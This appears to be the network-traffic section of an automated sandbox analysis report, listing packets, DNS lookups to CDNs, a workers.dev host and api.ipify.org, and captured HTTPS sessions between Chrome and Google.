Apr 27, 2024 00:12:11.040283918 CEST	49776	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:12:11.040330887 CEST	443	49776	142.251.40.196	192.168.2.4
Apr 27, 2024 00:12:11.040657043 CEST	49776	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:12:11.044135094 CEST	49776	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:12:11.044164896 CEST	443	49776	142.251.40.196	192.168.2.4
Apr 27, 2024 00:12:11.354168892 CEST	443	49776	142.251.40.196	192.168.2.4
Apr 27, 2024 00:12:11.354583979 CEST	49776	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:12:11.354613066 CEST	443	49776	142.251.40.196	192.168.2.4
Apr 27, 2024 00:12:11.355736971 CEST	443	49776	142.251.40.196	192.168.2.4
Apr 27, 2024 00:12:11.356861115 CEST	49776	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:12:11.357064009 CEST	443	49776	142.251.40.196	192.168.2.4
Apr 27, 2024 00:12:11.405045986 CEST	49776	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:12:21.298614025 CEST	443	49776	142.251.40.196	192.168.2.4
Apr 27, 2024 00:12:21.298732996 CEST	443	49776	142.251.40.196	192.168.2.4
Apr 27, 2024 00:12:21.298789024 CEST	49776	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:12:21.471255064 CEST	49776	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:12:21.471287012 CEST	443	49776	142.251.40.196	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 27, 2024 00:11:06.894490004 CEST	53	65040	1.1.1.1	192.168.2.4
Apr 27, 2024 00:11:07.028299093 CEST	51851	53	192.168.2.4	1.1.1.1
Apr 27, 2024 00:11:07.028623104 CEST	62643	53	192.168.2.4	1.1.1.1
Apr 27, 2024 00:11:07.065119028 CEST	53	65351	1.1.1.1	192.168.2.4
Apr 27, 2024 00:11:07.117413044 CEST	53	51851	1.1.1.1	192.168.2.4
Apr 27, 2024 00:11:07.118344069 CEST	53	62643	1.1.1.1	192.168.2.4
Apr 27, 2024 00:11:09.107089996 CEST	53	60207	1.1.1.1	192.168.2.4
Apr 27, 2024 00:11:25.506779909 CEST	138	138	192.168.2.4	192.168.2.255
Apr 27, 2024 00:11:29.314965010 CEST	53	59252	1.1.1.1	192.168.2.4
Apr 27, 2024 00:11:32.968285084 CEST	60972	53	192.168.2.4	1.1.1.1
Apr 27, 2024 00:11:32.968584061 CEST	54979	53	192.168.2.4	1.1.1.1
Apr 27, 2024 00:11:33.061439991 CEST	53	60972	1.1.1.1	192.168.2.4
Apr 27, 2024 00:11:33.063174009 CEST	53	54979	1.1.1.1	192.168.2.4
Apr 27, 2024 00:11:33.619714975 CEST	49593	53	192.168.2.4	1.1.1.1
Apr 27, 2024 00:11:33.620018959 CEST	61342	53	192.168.2.4	1.1.1.1
Apr 27, 2024 00:11:33.620862007 CEST	49942	53	192.168.2.4	1.1.1.1
Apr 27, 2024 00:11:33.621576071 CEST	62604	53	192.168.2.4	1.1.1.1
Apr 27, 2024 00:11:33.623405933 CEST	64155	53	192.168.2.4	1.1.1.1
Apr 27, 2024 00:11:33.624541044 CEST	63181	53	192.168.2.4	1.1.1.1
Apr 27, 2024 00:11:33.625570059 CEST	64467	53	192.168.2.4	1.1.1.1
Apr 27, 2024 00:11:33.628535986 CEST	51656	53	192.168.2.4	1.1.1.1
Apr 27, 2024 00:11:33.720913887 CEST	53	49780	1.1.1.1	192.168.2.4
Apr 27, 2024 00:11:33.720948935 CEST	53	61342	1.1.1.1	192.168.2.4
Apr 27, 2024 00:11:33.721048117 CEST	53	49942	1.1.1.1	192.168.2.4
Apr 27, 2024 00:11:33.721060038 CEST	53	49593	1.1.1.1	192.168.2.4
Apr 27, 2024 00:11:33.721071005 CEST	53	62604	1.1.1.1	192.168.2.4
Apr 27, 2024 00:11:33.721107006 CEST	53	57283	1.1.1.1	192.168.2.4
Apr 27, 2024 00:11:33.721194983 CEST	53	63181	1.1.1.1	192.168.2.4
Apr 27, 2024 00:11:33.721216917 CEST	53	64467	1.1.1.1	192.168.2.4
Apr 27, 2024 00:11:33.721621037 CEST	53	51656	1.1.1.1	192.168.2.4
Apr 27, 2024 00:11:35.874798059 CEST	53	56018	1.1.1.1	192.168.2.4
Apr 27, 2024 00:11:36.487171888 CEST	61400	53	192.168.2.4	1.1.1.1
Apr 27, 2024 00:11:36.487360001 CEST	60711	53	192.168.2.4	1.1.1.1
Apr 27, 2024 00:11:36.488786936 CEST	63237	53	192.168.2.4	1.1.1.1
Apr 27, 2024 00:11:36.489056110 CEST	57248	53	192.168.2.4	1.1.1.1
Apr 27, 2024 00:11:36.591413021 CEST	53	63237	1.1.1.1	192.168.2.4
Apr 27, 2024 00:11:36.591453075 CEST	53	57248	1.1.1.1	192.168.2.4
Apr 27, 2024 00:11:36.591572046 CEST	53	54322	1.1.1.1	192.168.2.4
Apr 27, 2024 00:11:37.041964054 CEST	59050	53	192.168.2.4	1.1.1.1
Apr 27, 2024 00:11:37.042186975 CEST	59155	53	192.168.2.4	1.1.1.1
Apr 27, 2024 00:11:37.088504076 CEST	61540	53	192.168.2.4	1.1.1.1
Apr 27, 2024 00:11:37.088671923 CEST	63918	53	192.168.2.4	1.1.1.1
Apr 27, 2024 00:11:37.178314924 CEST	53	61540	1.1.1.1	192.168.2.4
Apr 27, 2024 00:11:37.180363894 CEST	53	63918	1.1.1.1	192.168.2.4
Apr 27, 2024 00:11:48.545000076 CEST	53	50620	1.1.1.1	192.168.2.4
Apr 27, 2024 00:12:06.164571047 CEST	53	50142	1.1.1.1	192.168.2.4
Apr 27, 2024 00:12:11.180068970 CEST	53	61143	1.1.1.1	192.168.2.4
Apr 27, 2024 00:12:34.092649937 CEST	53	59233	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 27, 2024 00:11:07.028299093 CEST	192.168.2.4	1.1.1.1	0x34a2	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 27, 2024 00:11:07.028623104 CEST	192.168.2.4	1.1.1.1	0xa36e	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 27, 2024 00:11:32.968285084 CEST	192.168.2.4	1.1.1.1	0x22d3	Standard query (0)	worker-curly-silence-18d1.pistisarte.workers.dev	A (IP address)	IN (0x0001)	false
Apr 27, 2024 00:11:32.968584061 CEST	192.168.2.4	1.1.1.1	0x8b8d	Standard query (0)	worker-curly-silence-18d1.pistisarte.workers.dev	65	IN (0x0001)	false
Apr 27, 2024 00:11:33.619714975 CEST	192.168.2.4	1.1.1.1	0x19c8	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Apr 27, 2024 00:11:33.620018959 CEST	192.168.2.4	1.1.1.1	0x7abe	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Apr 27, 2024 00:11:33.620862007 CEST	192.168.2.4	1.1.1.1	0x801e	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Apr 27, 2024 00:11:33.621576071 CEST	192.168.2.4	1.1.1.1	0xb26c	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Apr 27, 2024 00:11:33.623405933 CEST	192.168.2.4	1.1.1.1	0xe59e	Standard query (0)	kit.fontawesome.com	A (IP address)	IN (0x0001)	false
Apr 27, 2024 00:11:33.624541044 CEST	192.168.2.4	1.1.1.1	0xbf53	Standard query (0)	kit.fontawesome.com	65	IN (0x0001)	false
Apr 27, 2024 00:11:33.625570059 CEST	192.168.2.4	1.1.1.1	0x8473	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 27, 2024 00:11:33.628535986 CEST	192.168.2.4	1.1.1.1	0x331b	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Apr 27, 2024 00:11:36.487171888 CEST	192.168.2.4	1.1.1.1	0x1a24	Standard query (0)	ka-f.fontawesome.com	A (IP address)	IN (0x0001)	false
Apr 27, 2024 00:11:36.487360001 CEST	192.168.2.4	1.1.1.1	0x5a23	Standard query (0)	ka-f.fontawesome.com	65	IN (0x0001)	false
Apr 27, 2024 00:11:36.488786936 CEST	192.168.2.4	1.1.1.1	0xd455	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Apr 27, 2024 00:11:36.489056110 CEST	192.168.2.4	1.1.1.1	0xe148	Standard query (0)	api.ipify.org	65	IN (0x0001)	false
Apr 27, 2024 00:11:37.041964054 CEST	192.168.2.4	1.1.1.1	0x4f86	Standard query (0)	ka-f.fontawesome.com	A (IP address)	IN (0x0001)	false
Apr 27, 2024 00:11:37.042186975 CEST	192.168.2.4	1.1.1.1	0xc84d	Standard query (0)	ka-f.fontawesome.com	65	IN (0x0001)	false
Apr 27, 2024 00:11:37.088504076 CEST	192.168.2.4	1.1.1.1	0xaf0b	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Apr 27, 2024 00:11:37.088671923 CEST	192.168.2.4	1.1.1.1	0x7f85	Standard query (0)	api.ipify.org	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 27, 2024 00:11:07.117413044 CEST	1.1.1.1	192.168.2.4	0x34a2	No error (0)	www.google.com		142.251.40.196	A (IP address)	IN (0x0001)	false
Apr 27, 2024 00:11:07.118344069 CEST	1.1.1.1	192.168.2.4	0xa36e	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 27, 2024 00:11:33.061439991 CEST	1.1.1.1	192.168.2.4	0x22d3	No error (0)	worker-curly-silence-18d1.pistisarte.workers.dev		104.21.47.203	A (IP address)	IN (0x0001)	false
Apr 27, 2024 00:11:33.061439991 CEST	1.1.1.1	192.168.2.4	0x22d3	No error (0)	worker-curly-silence-18d1.pistisarte.workers.dev		172.67.172.116	A (IP address)	IN (0x0001)	false
Apr 27, 2024 00:11:33.063174009 CEST	1.1.1.1	192.168.2.4	0x8b8d	No error (0)	worker-curly-silence-18d1.pistisarte.workers.dev			65	IN (0x0001)	false
Apr 27, 2024 00:11:33.721048117 CEST	1.1.1.1	192.168.2.4	0x801e	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Apr 27, 2024 00:11:33.721048117 CEST	1.1.1.1	192.168.2.4	0x801e	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Apr 27, 2024 00:11:33.721060038 CEST	1.1.1.1	192.168.2.4	0x19c8	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Apr 27, 2024 00:11:33.721060038 CEST	1.1.1.1	192.168.2.4	0x19c8	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Apr 27, 2024 00:11:33.721060038 CEST	1.1.1.1	192.168.2.4	0x19c8	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Apr 27, 2024 00:11:33.721060038 CEST	1.1.1.1	192.168.2.4	0x19c8	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Apr 27, 2024 00:11:33.721071005 CEST	1.1.1.1	192.168.2.4	0xb26c	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Apr 27, 2024 00:11:33.721194983 CEST	1.1.1.1	192.168.2.4	0xbf53	No error (0)	kit.fontawesome.com	kit.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 27, 2024 00:11:33.721205950 CEST	1.1.1.1	192.168.2.4	0xe59e	No error (0)	kit.fontawesome.com	kit.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 27, 2024 00:11:33.721216917 CEST	1.1.1.1	192.168.2.4	0x8473	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Apr 27, 2024 00:11:33.721216917 CEST	1.1.1.1	192.168.2.4	0x8473	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Apr 27, 2024 00:11:33.721621037 CEST	1.1.1.1	192.168.2.4	0x331b	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Apr 27, 2024 00:11:36.211708069 CEST	1.1.1.1	192.168.2.4	0xc952	No error (0)	shed.dual-low.part-0012.t-0009.t-msedge.net	part-0012.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 27, 2024 00:11:36.211708069 CEST	1.1.1.1	192.168.2.4	0xc952	No error (0)	part-0012.t-0009.t-msedge.net		13.107.213.40	A (IP address)	IN (0x0001)	false
Apr 27, 2024 00:11:36.211708069 CEST	1.1.1.1	192.168.2.4	0xc952	No error (0)	part-0012.t-0009.t-msedge.net		13.107.246.40	A (IP address)	IN (0x0001)	false
Apr 27, 2024 00:11:36.591278076 CEST	1.1.1.1	192.168.2.4	0x5a23	No error (0)	ka-f.fontawesome.com	ka-f.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 27, 2024 00:11:36.591363907 CEST	1.1.1.1	192.168.2.4	0x1a24	No error (0)	ka-f.fontawesome.com	ka-f.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 27, 2024 00:11:36.591413021 CEST	1.1.1.1	192.168.2.4	0xd455	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Apr 27, 2024 00:11:36.591413021 CEST	1.1.1.1	192.168.2.4	0xd455	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Apr 27, 2024 00:11:36.591413021 CEST	1.1.1.1	192.168.2.4	0xd455	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Apr 27, 2024 00:11:36.591453075 CEST	1.1.1.1	192.168.2.4	0xe148	No error (0)	api.ipify.org			65	IN (0x0001)	false
Apr 27, 2024 00:11:37.132580996 CEST	1.1.1.1	192.168.2.4	0x4f86	No error (0)	ka-f.fontawesome.com	ka-f.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 27, 2024 00:11:37.133513927 CEST	1.1.1.1	192.168.2.4	0xc84d	No error (0)	ka-f.fontawesome.com	ka-f.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 27, 2024 00:11:37.178314924 CEST	1.1.1.1	192.168.2.4	0xaf0b	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Apr 27, 2024 00:11:37.178314924 CEST	1.1.1.1	192.168.2.4	0xaf0b	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Apr 27, 2024 00:11:37.178314924 CEST	1.1.1.1	192.168.2.4	0xaf0b	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Apr 27, 2024 00:11:37.180363894 CEST	1.1.1.1	192.168.2.4	0x7f85	No error (0)	api.ipify.org			65	IN (0x0001)	false
Apr 27, 2024 00:11:37.353063107 CEST	1.1.1.1	192.168.2.4	0x9fd3	No error (0)	shed.dual-low.part-0012.t-0009.t-msedge.net	part-0012.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 27, 2024 00:11:37.353063107 CEST	1.1.1.1	192.168.2.4	0x9fd3	No error (0)	part-0012.t-0009.t-msedge.net		13.107.246.40	A (IP address)	IN (0x0001)	false
Apr 27, 2024 00:11:37.353063107 CEST	1.1.1.1	192.168.2.4	0x9fd3	No error (0)	part-0012.t-0009.t-msedge.net		13.107.213.40	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.google.com

fs.microsoft.com

slscr.update.microsoft.com

worker-curly-silence-18d1.pistisarte.workers.dev

https:

code.jquery.com

maxcdn.bootstrapcdn.com

cdnjs.cloudflare.com

aadcdn.msauth.net

api.ipify.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	142.251.40.196	443	5548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 22:11:07 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 22:11:07 UTC	1816	IN	HTTP/1.1 302 Found Location: https://www.google.com/sorry/index?continue=https://www.google.com/async/ddljson%3Fasync%3Dntp:2&q=EgSaEMC5GPvMsLEGIjDT3kX2jqsJWa3bGwmP66xK6CwwcdcNNXsjc5nEuQ4MtHvdydlVg5wPL4tHcWBqV44yAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM x-hallmonitor-challenge: CgwI-8ywsQYQ3-fwnQMSBJoQwLk Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Date: Fri, 26 Apr 2024 22:11:07 GMT Server: gws Content-Length: 427 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: 1P_JAR=2024-04-26-22; expires=Sun, 26-May-2024 22:11:07 GMT; path=/; domain=.google.com; Secure; SameSite=none Set-Cookie: NID=513=kftp-QSJqd-kV8kxvOmhWFxZMNVuYhV_QiYjpgD2Alj30lX540mAHGXMjbrFFZqeWriVUOYmDYDurDCnZEJMsf8Z07H4BB28IzGCu4Hacomm847CSI52OKnLisPrfZCJdSx91ujEMbZUTqa9Gn5fnOBGm4f2lOQiwzi8lA3A31c; expires=Sat, 26-Oct-2024 22:11:07 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-26 22:11:07 UTC	427	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 6f 72 72 79 2f 69 6e 64 65 78 3f 63 6f 6e 74 69 6e 75 65 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 73 79 6e 63 2f 64 64 6c 6a 73 6f 6e 25 33 46 61 73 79 6e Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.com/sorry/index?continue=https://www.google.com/async/ddljson%3Fasyn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49734	142.251.40.196	443	5548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 22:11:07 UTC	510	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 22:11:08 UTC	1842	IN	HTTP/1.1 302 Found Location: https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_ogb%3Fhl%3Den-US%26async%3Dfixed:0&hl=en-US&q=EgSaEMC5GPvMsLEGIjBR0qZUmfRVGI8h_HUYCIdc6XJarBdZ4MUXprSwhJK9qytI0c58_3kTv7kRub8PBlYyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM x-hallmonitor-challenge: CgsI_MywsQYQoJ7XBBIEmhDAuQ Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Date: Fri, 26 Apr 2024 22:11:08 GMT Server: gws Content-Length: 458 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: 1P_JAR=2024-04-26-22; expires=Sun, 26-May-2024 22:11:08 GMT; path=/; domain=.google.com; Secure; SameSite=none Set-Cookie: NID=513=Jhp-gVq0XmoOcIXxnP6xBQpsGVMBDAVMMHfqIQ2-sddMbgOac78BeRH_aSjLBCfVVITpIofs3CKwVVb5bUxT_bYjxTxyaIWqUN7BtJ19SMdeWN5SuY5gGvYYbJWmzkUEmHJwCUmf0NM5BtrNni8es0vvevdFrBxdPMbUmwPBl-c; expires=Sat, 26-Oct-2024 22:11:07 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-26 22:11:08 UTC	458	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 6f 72 72 79 2f 69 6e 64 65 78 3f 63 6f 6e 74 69 6e 75 65 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 73 79 6e 63 2f 6e 65 77 74 61 62 5f 6f 67 62 25 33 46 68 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_ogb%3Fh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49733	142.251.40.196	443	5548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 22:11:07 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 22:11:07 UTC	1703	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 22:11:07 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-Dfhh_2nMagY2VfAwR3C-EQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
